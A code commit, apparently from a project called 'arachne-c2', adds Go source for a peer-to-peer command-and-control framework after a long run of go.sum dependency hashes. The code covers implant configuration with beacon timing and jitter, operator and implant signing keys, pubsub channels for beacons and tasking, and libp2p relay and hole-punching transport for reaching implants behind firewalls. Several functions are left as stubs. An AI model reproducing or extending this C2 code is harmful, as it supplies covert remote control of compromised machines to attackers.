golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180810173357-98c5dad5d1a0/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181029174526-d69651ed3497/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190316082340-a2f829d7f35f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200602225109-6fdc65e7d980/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU=
golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc=
golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20181030000716-a0a13e073c7b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.24.0 h1:J1shsA93PJUEVaUSaay7UXAyE8aimq3GW0pjlolpa24=
golang.org/x/tools v0.24.0/go.mod h1:YhNqVBIfWHdzvTLs0d8LCuMhkKUgSUKldakyV7W/WDQ=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/api v0.0.0-20180910000450-7ca32eb868bf/go.mod h1:4mhQ8q/RsB7i+udVvVy5NUi08OU8ZlA0gRVgrF7VFY0=
google.golang.org/api v0.0.0-20181030000543-1d582fd0359e/go.mod h1:4mhQ8q/RsB7i+udVvVy5NUi08OU8ZlA0gRVgrF7VFY0=
google.golang.org/api v0.1.0/go.mod h1:UGEZY7KEX120AnNLIHFMKIo4obdJhkp2tPbaPlQx13Y=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.2.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.3.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20180831171423-11092d34479b/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20181029155118-b69ba1387ce2/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20181202183823-bd91e49a0898/go.mod h1:7Ep/1NZk928CDR8SjdVbjWNpdIf6nzjE3BTgJDr2Atg=
google.golang.org/genproto v0.0.0-20190306203927-b5d61aea6440/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240814211410-ddb44dafa142 h1:e7S5W7MGGLaSu8j3YjdezkZ+m1/Nm0uRVRMEMGk26Xs=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240814211410-ddb44dafa142/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU=
google.golang.org/grpc v1.14.0/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw=
google.golang.org/grpc v1.16.0/go.mod h1:0JHn/cJsOMiMfNA9+DeHDlAU7KAAB5GDlYFpa9MZMio=
google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.67.0 h1:IdH9y6PF5MPSdAntIcpjQ+tXO41pcQsfZV2RxtQgVcw=
google.golang.org/grpc v1.67.0/go.mod h1:1gLDyUQU7CTLJI90u3nXZ9ekeghjeM7pTDZlqFNg2AA=
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
grpc.go4.org v0.0.0-20170609214715-11d0a25b4919/go.mod h1:77eQGdRu53HpSqPFJFmuJdjuHRquDANNeA4x7B8WQ9o=
honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
lukechampine.com/blake3 v1.3.0 h1:sJ3XhFINmHSrYCgl958hscfIa3bw8x4DqMP3u1YvoYE=
lukechampine.com/blake3 v1.3.0/go.mod h1:0OFRp7fBtAylGVCO40o87sbupkyIGgbpv1+M1k1LM6k=
sourcegraph.com/sourcegraph/go-diff v0.5.0/go.mod h1:kuch7UrkMzY0X+p9CRK03kfuPQ2zzQcaEFbx8wA8rck=
sourcegraph.com/sqs/pbtypes v0.0.0-20180604144634-d3ebe8f20ae4/go.mod h1:ketZ/q3QxT9HOBeFhu6RdvsftgpsbFHBF5Cas6cDKZ0=
+47
View File
@@ -0,0 +1,47 @@
package config
import (
"time"
"github.com/libp2p/go-libp2p/core/peer"
)
type ServerConfig struct {
OperatorKeyPath string
ListenAddr string
BootstrapPeers []peer.AddrInfo
EnableRelay bool
EnableMDNS bool
}
type ImplantConfig struct {
OperatorPublicKey []byte
BootstrapPeers []string
BeaconInterval time.Duration
BeaconJitter time.Duration
ReconnectInterval time.Duration
TransportOrder []string
DisableRelay bool
EnableAutoNAT bool
}
var DefaultBootstrapPeers = []string{
"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
}
var DefaultServerConfig = ServerConfig{
OperatorKeyPath: "operator.key",
ListenAddr: "/ip4/0.0.0.0/tcp/0",
EnableRelay: true,
EnableMDNS: true,
}
var DefaultImplantConfig = ImplantConfig{
BeaconInterval: 30 * time.Second,
BeaconJitter: 10 * time.Second,
ReconnectInterval: 5 * time.Second,
TransportOrder: []string{"tcp", "ws", "relay"},
EnableAutoNAT: true,
}
+124
View File
@@ -0,0 +1,124 @@
package cryptography
import (
"crypto/ed25519"
"crypto/rand"
"encoding/hex"
"fmt"
"io"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
)
type KeyPair struct {
PrivateKey crypto.PrivKey
PublicKey crypto.PubKey
}
type OperatorKey struct {
KeyPair
PeerID peer.ID
}
type ImplantKey struct {
KeyPair
PeerID peer.ID
OperatorPubKey crypto.PubKey
}
func GenerateOperatorKey() (*OperatorKey, error) {
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate operator key: %w", err)
}
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from pubkey: %w", err)
}
return &OperatorKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
}, nil
}
func GenerateImplantKey(operatorPub crypto.PubKey) (*ImplantKey, error) {
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate implant key: %w", err)
}
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from pubkey: %w", err)
}
return &ImplantKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
OperatorPubKey: operatorPub,
}, nil
}
func LoadPrivateKey(data []byte) (crypto.PrivKey, error) {
return crypto.UnmarshalPrivateKey(data)
}
func MarshalPrivateKey(priv crypto.PrivKey) ([]byte, error) {
return crypto.MarshalPrivateKey(priv)
}
func PubKeyFromBytes(data []byte) (crypto.PubKey, error) {
return crypto.UnmarshalPublicKey(data)
}
func PeerIDFromPubKey(pub crypto.PubKey) (peer.ID, error) {
return peer.IDFromPublicKey(pub)
}
func PeerIDFromBytes(data []byte) (peer.ID, error) {
pub, err := PubKeyFromBytes(data)
if err != nil {
return "", err
}
return PeerIDFromPubKey(pub)
}
func Sign(priv crypto.PrivKey, data []byte) ([]byte, error) {
ed25519Key, ok := priv.(*crypto.Ed25519PrivateKey)
if !ok {
raw, err := priv.Raw()
if err != nil {
return nil, fmt.Errorf("get raw private key: %w", err)
}
return ed25519.Sign(ed25519.NewKeyFromSeed(raw), data), nil
}
raw, err := ed25519Key.Raw()
if err != nil {
return nil, fmt.Errorf("get raw ed25519 key: %w", err)
}
return ed25519.Sign(ed25519.NewKeyFromSeed(raw), data), nil
}
func Verify(pub crypto.PubKey, data []byte, sig []byte) (bool, error) {
raw, err := pub.Raw()
if err != nil {
return false, fmt.Errorf("get raw public key: %w", err)
}
return ed25519.Verify(raw, data, sig), nil
}
func NewEpochNow() int64 {
return 0
}
type ReadWriter struct {
io.Reader
io.Writer
}
func (k *OperatorKey) HexPeerID() string {
return hex.EncodeToString([]byte(k.PeerID))
}
func (k *ImplantKey) HexPeerID() string {
return hex.EncodeToString([]byte(k.PeerID))
}
+144
View File
@@ -0,0 +1,144 @@
package transport
import (
"context"
"fmt"
"sync"
"time"
"google.golang.org/protobuf/proto"
arachnepb "github.com/anomalyco/arachne-c2/protobuf/arachnepb"
"github.com/anomalyco/arachne-c2/pkg/cryptography"
)
type MessageHandler func(ctx context.Context, envelope *arachnepb.Envelope, from []byte)
type Messenger struct {
node *Node
handler MessageHandler
keys *cryptography.OperatorKey
mu sync.RWMutex
}
func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.OperatorKey) *Messenger {
return &Messenger{
node: node,
keys: keys,
}
}
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey) *Messenger {
return &Messenger{
node: node,
}
}
func (m *Messenger) SetHandler(handler MessageHandler) {
m.mu.Lock()
defer m.mu.Unlock()
m.handler = handler
}
func (m *Messenger) CommandTopic() string {
return CommandTopicPrefix + m.node.ID().String()
}
func (m *Messenger) BeaconTopic() string {
return BeaconTopicPrefix + m.node.ID().String()
}
func (m *Messenger) TaskTopic(implantPeerID string) string {
return TaskTopicPrefix + implantPeerID
}
func (m *Messenger) ListenBeacons(ctx context.Context) error {
topic := m.BeaconTopic()
sub, err := m.node.Subscribe(topic)
if err != nil {
return fmt.Errorf("subscribe beacons: %w", err)
}
go func() {
for {
msg, err := sub.Next(ctx)
if err != nil {
return
}
env := &arachnepb.Envelope{}
if err := proto.Unmarshal(msg.Data, env); err != nil {
continue
}
m.mu.RLock()
handler := m.handler
m.mu.RUnlock()
if handler != nil {
handler(ctx, env, msg.From)
}
}
}()
return nil
}
func (m *Messenger) ListenCommands(ctx context.Context) error {
topic := m.CommandTopic()
sub, err := m.node.Subscribe(topic)
if err != nil {
return fmt.Errorf("subscribe commands: %w", err)
}
go func() {
for {
msg, err := sub.Next(ctx)
if err != nil {
return
}
env := &arachnepb.Envelope{}
if err := proto.Unmarshal(msg.Data, env); err != nil {
continue
}
m.mu.RLock()
handler := m.handler
m.mu.RUnlock()
if handler != nil {
handler(ctx, env, msg.From)
}
}
}()
return nil
}
func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *arachnepb.Envelope) error {
data, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
}
return m.node.Publish(ctx, topic, data)
}
func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *arachnepb.Envelope) error {
if m.keys != nil {
sig, err := cryptography.Sign(m.keys.PrivateKey, env.Data)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
pubBytes, err := m.keys.PublicKey.Raw()
if err == nil {
env.SenderKey = pubBytes
}
}
return m.SendEnvelope(ctx, topic, env)
}
func (m *Messenger) SendDirectStream(ctx context.Context, peerID string, env *arachnepb.Envelope) error {
return nil
}
func (m *Messenger) CreateSignedEnvelope(msgType uint32, data []byte) *arachnepb.Envelope {
env := &arachnepb.Envelope{
ID: time.Now().UnixNano(),
Type: msgType,
Data: data,
}
return env
}
+236
View File
@@ -0,0 +1,236 @@
package transport
import (
"context"
"fmt"
"sync"
"time"
"github.com/libp2p/go-libp2p"
pubsub "github.com/libp2p/go-libp2p-pubsub"
"github.com/libp2p/go-libp2p/core/host"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/libp2p/go-libp2p/core/protocol"
"github.com/libp2p/go-libp2p/p2p/discovery/routing"
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
"github.com/libp2p/go-libp2p/p2p/protocol/circuitv2/relay"
"github.com/libp2p/go-libp2p/p2p/protocol/circuitv2/client"
"github.com/multiformats/go-multiaddr"
)
const (
ArachneProtocolID protocol.ID = "/arachne/1.0.0"
CommandTopicPrefix string = "arachne/cmd/"
BeaconTopicPrefix string = "arachne/beacon/"
TaskTopicPrefix string = "arachne/task/"
)
type NodeConfig struct {
ListenAddr string
BootstrapPeers []peer.AddrInfo
EnableRelay bool
EnableMDNS bool
RelayV2 bool
}
type Node struct {
Host host.Host
PubSub *pubsub.PubSub
DHT *routing.RoutingDiscovery
config NodeConfig
topics map[string]*pubsub.Topic
subs map[string]*pubsub.Subscription
mu sync.RWMutex
ctx context.Context
cancel context.CancelFunc
}
func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
ctx, cancel := context.WithCancel(ctx)
baseOpts := []libp2p.Option{
libp2p.ListenAddrStrings(cfg.ListenAddr),
libp2p.EnableAutoNATv2(),
libp2p.NATPortMap(),
libp2p.EnableHolePunching(),
}
if cfg.EnableRelay {
baseOpts = append(baseOpts,
libp2p.EnableRelay(),
)
}
baseOpts = append(baseOpts, opts...)
h, err := libp2p.New(baseOpts...)
if err != nil {
cancel()
return nil, fmt.Errorf("create libp2p host: %w", err)
}
ps, err := pubsub.NewGossipSub(ctx, h,
pubsub.WithMessageSignaturePolicy(pubsub.StrictNoSign),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create pubsub: %w", err)
}
node := &Node{
Host: h,
PubSub: ps,
config: cfg,
topics: make(map[string]*pubsub.Topic),
subs: make(map[string]*pubsub.Subscription),
ctx: ctx,
cancel: cancel,
}
if cfg.RelayV2 {
_, err := relay.New(h)
if err != nil {
return nil, fmt.Errorf("enable relay v2: %w", err)
}
}
return node, nil
}
func (n *Node) StartDiscovery() error {
for _, pi := range n.config.BootstrapPeers {
if err := n.Host.Connect(n.ctx, pi); err != nil {
continue
}
}
if n.config.EnableMDNS {
mdnsSvc := mdns.NewMdnsService(n.Host, "", &mdnsNotifee{h: n.Host})
if err := mdnsSvc.Start(); err != nil {
return fmt.Errorf("start mdns: %w", err)
}
}
return nil
}
func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
n.mu.Lock()
defer n.mu.Unlock()
if t, ok := n.topics[topic]; ok {
return t, nil
}
t, err := n.PubSub.Join(topic)
if err != nil {
return nil, fmt.Errorf("join topic %s: %w", topic, err)
}
n.topics[topic] = t
return t, nil
}
func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
n.mu.Lock()
defer n.mu.Unlock()
if s, ok := n.subs[topic]; ok {
return s, nil
}
t, err := n.JoinTopic(topic)
if err != nil {
return nil, err
}
sub, err := t.Subscribe()
if err != nil {
return nil, fmt.Errorf("subscribe %s: %w", topic, err)
}
n.subs[topic] = sub
return sub, nil
}
func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
t, err := n.JoinTopic(topic)
if err != nil {
return err
}
return t.Publish(ctx, data)
}
func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
return n.Host.Connect(ctx, pi)
}
func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
n.Host.SetStreamHandler(pid, handler)
}
func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
return n.Host.NewStream(ctx, p, pid)
}
func (n *Node) Close() error {
n.cancel()
return n.Host.Close()
}
func (n *Node) Addrs() []multiaddr.Multiaddr {
return n.Host.Addrs()
}
func (n *Node) ID() peer.ID {
return n.Host.ID()
}
func (n *Node) Peerstore() peerstore {
return n.Host.Peerstore()
}
type peerstore interface {
AddAddr(peer.ID, multiaddr.Multiaddr, time.Duration)
}
type mdnsNotifee struct {
h host.Host
}
func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.h.ID() {
return
}
m.h.Peerstore().AddAddr(pi.ID, pi.Addrs[0], time.Hour)
}
func ConnectToRelay(ctx context.Context, h host.Host, relayAddr string) error {
maddr, err := multiaddr.NewMultiaddr(relayAddr)
if err != nil {
return err
}
relayInfo, err := peer.AddrInfoFromP2pAddr(maddr)
if err != nil {
return err
}
if err := h.Connect(ctx, *relayInfo); err != nil {
return err
}
return nil
}
func DialThroughRelay(ctx context.Context, h host.Host, relayID peer.ID, targetID peer.ID, targetAddr multiaddr.Multiaddr) (network.Stream, error) {
_, err := client.Reserve(ctx, h, relayID)
if err != nil {
return nil, fmt.Errorf("reserve relay: %w", err)
}
addr, err := multiaddr.NewMultiaddr(fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s", relayID, targetID))
if err != nil {
return nil, err
}
pi := peer.AddrInfo{ID: targetID, Addrs: []multiaddr.Multiaddr{addr}}
return h.NewStream(ctx, pi.ID, ArachneProtocolID)
}
File diff suppressed because it is too large Load Diff
+209
View File
@@ -0,0 +1,209 @@
syntax = "proto3";
